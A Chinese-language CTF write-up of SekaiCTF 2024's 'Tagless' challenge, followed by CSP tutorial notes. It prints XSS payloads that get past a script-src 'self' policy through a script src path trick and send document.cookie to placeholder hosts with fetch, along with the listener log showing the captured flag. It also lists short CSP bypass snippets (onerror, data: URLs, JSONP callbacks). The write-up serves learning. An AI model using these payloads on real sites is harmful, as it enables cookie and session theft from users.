2024 SekaiCTF 部分题目复现

Tagless

解题

自带一个 dist.zip 文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@app.route("/report", methods=["POST"])
def report():
bot = Bot()
url = request.form.get('url')
if url:
try:
parsed_url = urlparse(url)
except Exception:
return {"error": "Invalid URL."}, 400
if parsed_url.scheme not in ["http", "https"]:
return {"error": "Invalid scheme."}, 400
if parsed_url.hostname not in ["127.0.0.1", "localhost"]:
return {"error": "Invalid host."}, 401

bot.visit(url)
bot.close()
return {"visited":url}, 200
else:
return {"error":"URL parameter is missing!"}, 400
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import time

class Bot:
def __init__(self):
chrome_options = Options()
chrome_options.add_argument("--headless")
chrome_options.add_argument("--disable-gpu")
chrome_options.add_argument("--no-sandbox")
chrome_options.add_argument("--disable-dev-shm-usage")
chrome_options.add_argument("--disable-extensions")
chrome_options.add_argument("--window-size=1920x1080")

self.driver = webdriver.Chrome(options=chrome_options)

def visit(self, url):
self.driver.get("http://127.0.0.1:5000/")

self.driver.add_cookie({
"name": "flag",
"value": "SEKAI{dummy}",
"httponly": False
})

self.driver.get(url)
time.sleep(1)
self.driver.refresh()
print(f"Visited {url}")

def close(self):
self.driver.quit()

简单分析下就是 bot.py 用 selenium 的爬虫库模拟一个 bot,cookie 中有 flag。

然后配合前面的/report路由访问。一眼 XSS。但是 XSS 没怎么接触过,这里学习下。

这里先构造一个最简单的 XSS:

1
http://192.168.124.3:5000/report

但是并没有按照预期进行弹窗。

查看下控制台发现报了一个错:

1
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='), or a nonce ('nonce-...') is required to enable inline execution.

我们并没有按照这个 csp (Content Security Policy) 标准来执行。回到 app.py 中我们能注意到:

1
resp.headers['Content-Security-Policy'] = "script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;"

我们到 csp 检测工具里面看下:

CSP Evaluator

能注意到这里可以使用 script 的 src 参数,但是没允许 script 元素的内联使用。比如:

1
<script src="/alert(1)"></script>

但是仍然不行,再看报错。提示说语法错误,缺少/

然后我就不懂这里的添加一些注释就可以绕过:

1
<script src="/**/alert(1)//"></script>

python 开个服务接受内容。

然后获取目标的 cookie 内容就行:

1
<script src="/**/fetch(`http://xxx/?cookie=${document.cookie}//"></script>
1
2
GET:/report
POST:url=http://127.0.0.1:5000/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%2f%2a%2a%2f%66%65%74%63%68%28%60%68%74%74%70%73%3a%2f%2f%78%78%78%2f%3f%63%6f%6f%6b%69%65%3d%24%7b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%7d%60%29%2f%2f%22%3e%3c%2f%73%63%72%69%70%74%3e

然后就能打出来:

1
2
Serving HTTP on 0.0.0.0 port 9292 (http://0.0.0.0:9292/) ...
xxxx - - [10/Sep/2024 15:23:40] "GET /?cookie=flag=SEKAI{w4rmUpwItHoUtTags} HTTP/1.1" 200 -

官方 payload 用的是这个:

1
url=http://127.0.0.1:5000/?auto_input=%3Cscript%20src=%22a/;fetch(`https://x/`,{method:`post`,body:`${document.cookie}`})//%22%20%3Cimg%26fulldisplay=1

CSP

正巧在某个平台上看到了一篇讲解 CSP 策略的文章,这里正好学习一下。

加载限制

选项名称作用限制加载说明
script-src控制页面可以加载哪些外部脚本资源。明确指定允许加载脚本的来源,防止恶意脚本注入。
style-src管理页面能够加载的样式表资源。确定哪些来源的 CSS 样式表可以被应用到页面上。
img-src规定页面中可以显示的图像来源。指定图像可以从哪些地方加载,防止恶意图像加载。
connect-src管理页面通过 XMLHttpRequest、WebSockets 和 EventSource 等方式建立的连接的目标地址。确定页面可以与哪些域名进行通信,减少攻击风险。
font-src管理页面所使用的字体文件的加载来源。指定字体文件可以从哪些地方获取,防止恶意字体注入。
media-src控制页面播放的音频和视频文件的来源。决定音频和视频文件可以从哪些域名或位置加载。
object-src限制页面中插件的加载来源。控制 Flash 等插件的加载,防止恶意插件执行。
child-src管理页面中嵌套的子框架的资源加载。确定子框架可以从哪些来源加载内容。
frame-ancestors控制哪些页面可以将当前页面嵌入到框架中。指定哪些域名的页面可以通过框架等方式包含当前页面。
worker-src控制 Web Worker 脚本的加载来源。指定 Web Worker 可以从哪些地方加载脚本。
manifest-src规定网页应用的清单文件的来源。确保只有来自特定来源的清单文件可以被加载。

而除此之外一般用default-src来设置默认值,比如下面这个设置限制所有外部资源,只能从当前域名加载。

1
Content-Security-Policy: default-src 'self'

但如果同时设置了某个子项限制,那么就会子项优先。

其他限制

选项名称作用限制加载说明
base-uri明确页面的基础 URL 范围,防止页面被恶意重定向到其他不期望的基础地址。确定页面中<base>
标签的href
属性可以指向的地址范围,防止恶意修改页面的基础 URL。
form-action规范表单提交的目标地址,确保表单数据提交到安全可靠的地方,避免数据被非法获取。控制表单提交的目标地址,防止表单被提交到恶意地址。
frame-ancestors管控哪些网页有权将当前页面嵌入框架,保护页面不被恶意嵌入和操纵。指定哪些网页可以将当前页面嵌入到框架中,防止恶意网站的嵌入行为。
plugin-types限定页面可使用的插件类型,防止不安全或恶意插件在页面上运行。控制页面可以加载的插件类型,减少恶意插件带来的风险。
sandbox对页面在浏览器中的行为进行严格约束,降低潜在安全风险,如防止恶意弹窗等。对页面在浏览器中的行为进行限制,增强安全性。
block-all-mixed-content确保 HTTPS 页面只加载安全的 HTTPS 资源,杜绝不安全的 HTTP 资源加载,提升页面整体安全性。HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)。
upgrade-insecure-requests自动将页面上的 HTTP 资源链接转换为更安全的 HTTPS 协议,提高页面资源的安全性。提升页面的安全性,强制使用 HTTPS 协议加载资源。

PS:Content-Security-Policy-Report-Only不限制,知识记录违反限制的内容。

值的构成

  • 主机名:明确指定的具体域名或 IP 地址。比如:script-src https://example.com
  • 路径名: 在主机名后加上特定的路径部分。比如:img-src https://example.com/images/
  • 协议名:除了常见的 http 和 https,data 协议也经常出现,比如我的 blog 的头像是使用 base64 来表示的图像:src="data:image/png;base64,5LiN5piv5ZOl5Lus5L2g55yf55yL5ZWK77yf"

重要参数

  1. “unsafe-inline” 和 “unsafe-eval”

“unsafe-inline”:允许执行页面内嵌的<script>标签和事件监听函数。但使用这个值会带来安全风险,因为恶意代码可能通过内联脚本注入页面。

“unsafe-eval”:允许将字符串当作代码执行,比如使用eval、setTimeout、setInterval和Function等函数。同样,这也存在安全隐患,可能导致恶意代码的执行。

  1. nonce

服务器在发送网页时,会告诉浏览器一个随机生成的 token(nonce 值)。例如:

1
Content-Security-Policy: script-src 'nonce-natro92'

页面内嵌脚本必须包含这个 token 才能执行。如:

1
<script nonce=natro92> alert(1) </script>
  1. hash 值

服务器给出一个允许执行的代码的 hash 值。例如:

1
Content-Security-Policy: script-src 'sha256-xxx1234'

当页面内嵌脚本的哈希值与给定的 hash 值相符时,该脚本才会被允许执行。需要注意的是,计算 hash 值的时候,<script>标签不算在内。

  1. 在 style-src 选项中的应用

nonce 值和 hash 值不仅可以用在script-src选项,还可以用在style-src选项,以控制页面内嵌的样式表。

注意

  • script-srcobject-src通常是必设的,除非设置了default-src来涵盖它们的功能。这是因为如果攻击者能够注入脚本,就可能规避其他限制。
  • script-src不能使用unsafe-inline关键字(除非伴随一个nonce值),也不能允许设置data:URL
  • 注意 jsonp 的回调函数。

示例:

1
2
3
4
5
<img src="x" onerror="evil()">
<script src="data:text/javascript,evil()"></script>
<script
src="/path/jsonp?callback=alert(document.domain)//">
</script>

Intruder

I just made a book library website! Let me know what you think of it!

Note: Due to security issue, you can’t add a book now. Please come by later!

环境起不起来 似了。

Ref

siunam 的网站 — Tagless

Content Security Policy 入门教程 - 阮一峰的网络日志